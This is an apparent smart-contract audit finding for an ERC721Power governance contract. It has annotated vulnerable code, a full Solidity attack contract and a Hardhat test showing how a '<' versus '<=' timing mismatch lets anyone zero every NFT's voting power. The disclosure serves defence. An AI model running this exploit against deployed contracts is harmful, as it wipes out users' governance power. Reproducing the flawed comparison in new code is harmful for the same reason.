HIGH severity: Attacker can destroy user voting power by setting `ERPower::totalPower` and all existing NFTs `currentPower` to 0. **Description:** Attacker can destroy user voting power by setting `ERC721Power::totalPower` & all existing nfts' `currentPower` to 0 via a permission-less attack contract by exploiting a discrepancy ("<" vs "<=") in `ERC721Power`...

Vulnerable code:
function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    // @audit execution allowed to continue when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }
    // @audit getNftPower() returns 0 when
    // block.timestamp == powerCalcStartTimestamp
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit as this is the first update since power
    // calculation has just started, totalPower will be
    // subtracted by nft's max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit totalPower += 0 (newPower = 0 in above line)
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    // @audit will set nft's current power to 0
    nftInfo.currentPower = newPower;
}

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    // @audit execution always returns 0 when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "../../gov/ERC721/ERC721Power.sol";

import "hardhat/console.sol";

contract ERC721PowerAttack {
    // this attack can decrease ERC721Power::totalPower by the true max power of all
    // the power nfts that exist (to zero), regardless of who owns them, and sets the current
    // power of all nfts to zero, totally bricking the ERC721Power contract.
    //
    // this attack only works when block.timestamp == nftPower.powerCalcStartTimestamp
    // as it takes advantage of a difference in getNftPower() & recalculateNftPower():
    //
    // getNftPower() returns 0 when block.timestamp <= powerCalcStartTimestamp
    // recalculateNftPower returns 0 when block.timestamp < powerCalcStartTimestamp
    function attack(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // verify attack starts on the correct block
        require(
            block.timestamp == nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"
        );

        // verify totalPower() correct at starting block
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // call recalculateNftPower() for every nft, this:
        // 1) decreases ERC721Power::totalPower by that nft's max power
        // 2) sets that nft's currentPower = 0
        for (uint256 i = 1; i <= lastTokenId; ) {
            require(
                nftPower.recalculateNftPower(i) == 0,
                "ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"
            );

            unchecked {
                ++i;
            }
        }

        require(
            nftPower.totalPower() == 0,
            "ERC721PowerAttack: after attack finished totalPower should equal 0"
        );
    }
}

describe("audit attacker can manipulate ERC721Power totalPower", () => {
      it("audit attack 1 sets ERC721Power totalPower & all nft currentPower to 0", async () => {
        // deploy the ERC721Power nft contract with:
        // max power of each nft = 100
        // power reduction 10%
        // required collateral = 100
        let maxPowerPerNft = toPercent("100");
        let requiredCollateral = wei("100");
        let powerCalcStartTime = (await getCurrentBlockTime()) + 1000;
        // hack needed to start attack contract on exact block due to hardhat
        // advancing block.timestamp in the background between function calls
        let powerCalcStartTime2 = (await getCurrentBlockTime()) + 999;

        // create power nft contract
        await deployNft(powerCalcStartTime, maxPowerPerNft, toPercent("10"), requiredCollateral);

        // ERC721Power::totalPower should be zero as no nfts yet created
        assert.equal((await nft.totalPower()).toFixed(), toPercent("0").times(1).toFixed());

        // create the attack contract
        const ERC721PowerAttack = artifacts.require("ERC721PowerAttack");
        let attackContract = await ERC721PowerAttack.new();

        // create 10 power nfts for SECOND
        await nft.safeMint(SECOND, 1);
        await nft.safeMint(SECOND, 2);
        await nft.safeMint(SECOND, 3);
        await nft.safeMint(SECOND, 4);
        await nft.safeMint(SECOND, 5);
        await nft.safeMint(SECOND, 6);
        await nft.safeMint(SECOND, 7);
        await nft.safeMint(SECOND, 8);
        await nft.safeMint(SECOND, 9);
        await nft.safeMint(SECOND, 10);

        // verify ERC721Power::totalPower has been increased by max power for all nfts
        assert.equal((await nft.totalPower()).toFixed(), maxPowerPerNft.times(10).toFixed());

        // fast forward time to the start of power calculation
        await setTime(powerCalcStartTime2);

        // launch the attack
        await attackContract.attack(nft.address, maxPowerPerNft.times(10).toFixed(), 10);
      });
    });